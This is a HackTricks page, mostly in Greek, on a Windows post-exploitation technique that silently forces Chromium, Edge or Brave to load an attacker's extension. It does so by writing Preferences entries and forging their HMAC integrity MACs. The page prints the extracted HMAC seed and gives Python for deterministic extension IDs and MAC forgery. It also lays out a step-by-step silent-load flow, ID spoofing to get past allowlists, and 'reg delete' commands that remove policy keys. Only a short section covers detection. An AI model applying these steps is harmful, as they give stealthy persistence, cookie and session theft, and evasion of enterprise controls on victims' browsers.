Forced Extension Load & Preferences MAC Forgery (Windows)

Reading time: 8 minutes

tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

Επισκόπηση

Κρυφή post-exploitation τεχνική για εξαναγκαστικό φόρτωμα αυθαίρετων extensions σε Chromium-based browsers σε Windows, μέσω επεξεργασίας των Preferences/Secure Preferences ενός χρήστη και παραχάραξης έγκυρων HMACs για τους τροποποιημένους κόμβους. Εφαρμόζεται σε Chrome/Chromium, Edge και Brave. Παρατηρήθηκε να ισχύει από Chromium 130 έως 139 κατά το χρόνο δημοσίευσης. Ένα απλό disk write primitive στο προφίλ του θύματος αρκεί για να παραμείνει μια full-privileged extension χωρίς command-line flags ή user prompts.

Κεντρική ιδέα: Chromium αποθηκεύει την per-user extension state σε ένα JSON preferences αρχείο και το προστατεύει με HMAC-SHA256. Αν υπολογίσετε έγκυρα MACs με το browser’s embedded seed και τα γράψετε δίπλα στους injected κόμβους σας, ο browser τα αποδέχεται και ενεργοποιεί την εγγραφή της extension σας.

Πού βρίσκεται το extension state (Windows)

  • Non–domain‑joined Chrome profile:
  • %USERPROFILE%/AppData/Local/Google/Chrome/User Data/Default/Secure Preferences (includes a root "super_mac").
  • Domain‑joined Chrome profile:
  • %USERPROFILE%/AppData/Local/Google/Chrome/User Data/Default/Preferences
  • Key nodes used by Chromium:
  • extensions.settings.<extension_id> → embedded manifest/metadata for the extension entry
  • protection.macs.extensions.settings.<extension_id> → HMAC for that JSON blob
  • Chromium ≥134: extensions.ui.developer_mode (boolean) must be present and MAC‑signed for unpacked extensions to activate

Απλοποιημένο σχήμα (ενδεικτικό):

json
{
"extensions": {
"settings": {
"<extension_id>": {
"name": "Extension name",
"manifest_version": 3,
"version": "1.0",
"key": "<BASE64 DER SPKI>",
"path": "<absolute path if unpacked>",
"state": 1,
"from_bookmark": false,
"was_installed_by_default": false
// ...rest of manifest.json + required install metadata
}
},
"ui": { "developer_mode": true }
},
"protection": {
"macs": {
"extensions": {
"settings": { "<extension_id>": "<MAC>" },
"ui": { "developer_mode": "<MAC>" }
}
}
}
}

Σημειώσεις:

  • Edge/Brave maintain similar structures. Η τιμή του protection seed μπορεί να διαφέρει (σε ορισμένα builds παρατηρήθηκε ότι το Edge/Brave χρησιμοποιούσε null/other seed).

Extension IDs: path vs key and making them deterministic

Το Chromium παράγει το extension ID ως εξής:

  • Συσκευασμένη/υπογεγραμμένη επέκταση: ID = SHA‑256 over DER‑encoded SubjectPublicKeyInfo (SPKI) → take first 32 hex chars → map 0–f to a–p
  • Μη συσκευασμένη (no key in manifest): ID = SHA‑256 over the absolute installation path bytes → map 0–f to a–p

Για να διατηρήσετε σταθερό ID μεταξύ hosts, ενσωματώστε ένα σταθερό base64 DER public key στο manifest.json κάτω από "key". Το ID θα προκύπτει από αυτό το key αντί από τη διαδρομή εγκατάστασης.

Βοηθητικό για τη δημιουργία ενός ντετερμινιστικού ID και ενός ζεύγους κλειδιών:

python
import base64
import hashlib
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.primitives.asymmetric import rsa

def translate_crx_id(s: str) -> str:
t = {'0':'a','1':'b','2':'c','3':'d','4':'e','5':'f','6':'g','7':'h','8':'i','9':'j','a':'k','b':'l','c':'m','d':'n','e':'o','f':'p'}
return ''.join(t.get(c, c) for c in s)

def generate_extension_keys() -> tuple[str,str,str]:
priv = rsa.generate_private_key(public_exponent=65537, key_size=2048)
pub = priv.public_key()
spki = pub.public_bytes(encoding=serialization.Encoding.DER,
format=serialization.PublicFormat.SubjectPublicKeyInfo)
crx_id = translate_crx_id(hashlib.sha256(spki).digest()[:16].hex())
pub_b64 = base64.b64encode(spki).decode('utf-8')
priv_der = priv.private_bytes(encoding=serialization.Encoding.DER,
format=serialization.PrivateFormat.TraditionalOpenSSL,
encryption_algorithm=serialization.NoEncryption())
priv_b64 = base64.b64encode(priv_der).decode('utf-8')
return crx_id, pub_b64, priv_b64

print(generate_extension_keys())

Προσθέστε το δημιουργημένο δημόσιο κλειδί στο manifest.json σας για να κλειδώσετε το ID:

json
{
"manifest_version": 3,
"name": "Synacktiv extension",
"version": "1.0",
"key": "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA2lMCg6..."
}

Forging Preferences integrity MACs (core bypass)

Chromium προστατεύει τις προτιμήσεις με HMAC‑SHA256 πάνω στο "path" + σειριοποιημένη τιμή JSON κάθε κόμβου. Ο HMAC seed είναι ενσωματωμένος στο resources.pak του browser και ήταν έγκυρος μέχρι το Chromium 139.

Εξάγετε το seed με GRIT pak_util και εντοπίστε το seed container (file id 146 στις δοκιμασμένες builds):

bash
python3 pak_util.py extract resources.pak -o resources_v139/
python3 pak_util.py extract resources.pak -o resources_v139_dirty/
# compare a clean vs minimally modified resources.pak to spot the seed holder
xxd -p resources_v139/146
# e748f336d85ea5f9dcdf25d8f347a65b4cdf667600f02df6724a2af18a212d26b788a25086910cf3a90313696871f3dc05823730c91df8ba5c4fd9c884b505a8

Υπολογίστε τα MACs (κεφαλαία hex) ως:

text
ext_mac = HMAC_SHA256(seed,
"extensions.settings.<crx_id>" + json.dumps(<settings_json>))

devmode_mac = HMAC_SHA256(seed,
"extensions.ui.developer_mode" + ("true" or "false"))

Ελάχιστο παράδειγμα Python:

python
import json, hmac, hashlib

def mac_upper(seed_hex: str, pref_path: str, value) -> str:
seed = bytes.fromhex(seed_hex)
# Compact JSON to match Chromium serialization closely
val = json.dumps(value, separators=(',', ':')) if not isinstance(value, str) else value
msg = (pref_path + val).encode('utf-8')
return hmac.new(seed, msg, hashlib.sha256).hexdigest().upper()

# Example usage
settings_path = f"extensions.settings.{crx_id}"
devmode_path = "extensions.ui.developer_mode"
ext_mac = mac_upper(seed_hex, settings_path, settings_json)
devmode_mac = mac_upper(seed_hex, devmode_path, "true")

Καταχωρήστε τις τιμές κάτω από:

  • protection.macs.extensions.settings.<crx_id> = ext_mac
  • protection.macs.extensions.ui.developer_mode = devmode_mac (Chromium ≥134)

Διαφορές μεταξύ προγραμμάτων περιήγησης: στο Microsoft Edge και στο Brave το seed μπορεί να είναι null/διαφορετικό. Η δομή του HMAC παραμένει η ίδια· προσαρμόστε ανάλογα το seed.

Συμβουλές υλοποίησης

  • Χρησιμοποιήστε ακριβώς την ίδια σειριοποίηση JSON που χρησιμοποιεί το Chromium όταν υπολογίζει τα MACs (συμπαγές JSON χωρίς whitespace είναι στην πράξη ασφαλές· η ταξινόμηση των κλειδιών μπορεί να βοηθήσει στην αποφυγή προβλημάτων σειράς).
  • Βεβαιωθείτε ότι extensions.ui.developer_mode υπάρχει και είναι signed στο Chromium ≥134, διαφορετικά η unpacked καταχώρισή σας δεν θα ενεργοποιηθεί.

End‑to‑end silent load flow (Windows)

  1. Generate a deterministic ID and embed "key" in manifest.json; prepare an unpacked MV3 extension with desired permissions (service worker/content scripts)
  2. Create extensions.settings. by embedding the manifest and minimal install metadata required by Chromium (state, path for unpacked, etc.)
  3. Extract the HMAC seed from resources.pak (file 146) and compute two MACs: one for the settings node and one for extensions.ui.developer_mode (Chromium ≥134)
  4. Write the crafted nodes and MACs into the target profile’s Preferences/Secure Preferences; next launch will auto‑activate your extension with full declared privileges

Bypassing enterprise controls

  • Whitelisted extension hash spoofing (ID spoofing)
  1. Install an allowed Web Store extension and note its ID
  2. Obtain its public key (e.g., via chrome.runtime.getManifest().key in the background/service worker or by fetching/parsing its .crx)
  3. Set that key as manifest.key in your modified extension to reproduce the same ID
  4. Register the entry in Preferences and sign the MACs → ExtensionInstallAllowlist checks that match on ID only are bypassed
  • Extension stomping (ID collision precedence)

  • If a local unpacked extension shares an ID with an installed Web Store extension, Chromium prefers the unpacked one. This effectively replaces the legitimate extension in chrome://extensions while preserving the trusted ID. Verified on Chrome and Edge (e.g., Adobe PDF)

  • Neutralizing GPO via HKCU (requires admin)

  • Chrome/Edge policies live under HKCU\Software\Policies*

  • With admin rights, delete/modify policy keys before writing your entries to avoid blocks:

powershell
reg delete "HKCU\Software\Policies\Google\Chrome\ExtensionInstallAllowlist" /f
reg delete "HKCU\Software\Policies\Google\Chrome\ExtensionInstallBlocklist" /f

Θορυβώδης fallback: φόρτωση μέσω command-line

Από Chromium ≥137, το --load-extension απαιτεί επίσης να περαστεί:

text
--disable-features=DisableLoadExtensionCommandLineSwitch

Αυτή η προσέγγιση είναι ευρέως γνωστή και παρακολουθείται (π.χ. από EDR/DFIR· χρησιμοποιείται από commodity malware όπως το Chromeloader). Preference MAC forging είναι πιο διακριτική.

Related flags and more cross‑platform tricks are discussed here:

macOS Chromium Injection

Λειτουργικός αντίκτυπος

Μόλις γίνει αποδεκτή, η επέκταση εκτελείται με τα δηλωθέντα permissions της, επιτρέποντας πρόσβαση στο DOM, interception/redirects αιτημάτων, πρόσβαση σε cookie/storage και λήψη screenshots — ουσιαστικά in‑browser code execution και ανθεκτική persistence στο προφίλ του χρήστη. Η απομακρυσμένη ανάπτυξη μέσω SMB ή άλλων καναλιών είναι απλή επειδή η ενεργοποίηση καθοδηγείται από data μέσα στα Preferences.

Ανίχνευση και ενίσχυση

  • Παρακολουθήστε για non‑Chromium processes που γράφουν στα Preferences/Secure Preferences, ειδικά για νέα nodes κάτω από extensions.settings σε συνδυασμό με protection.macs entries
  • Εκπέμψτε alert για απροσδόκητο toggling του extensions.ui.developer_mode και για HMAC‑valid αλλά μη εγκεκριμένες καταχωρήσεις επέκτασης
  • Audit HKCU/HKLM Software\Policies για παραποίηση· επιβάλετε πολιτικές μέσω device management/Chrome Browser Cloud Management
  • Προτιμήστε forced‑install από το store με verified publishers αντί για allowlists που ταιριάζουν μόνο στο extension ID

Αναφορές

tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks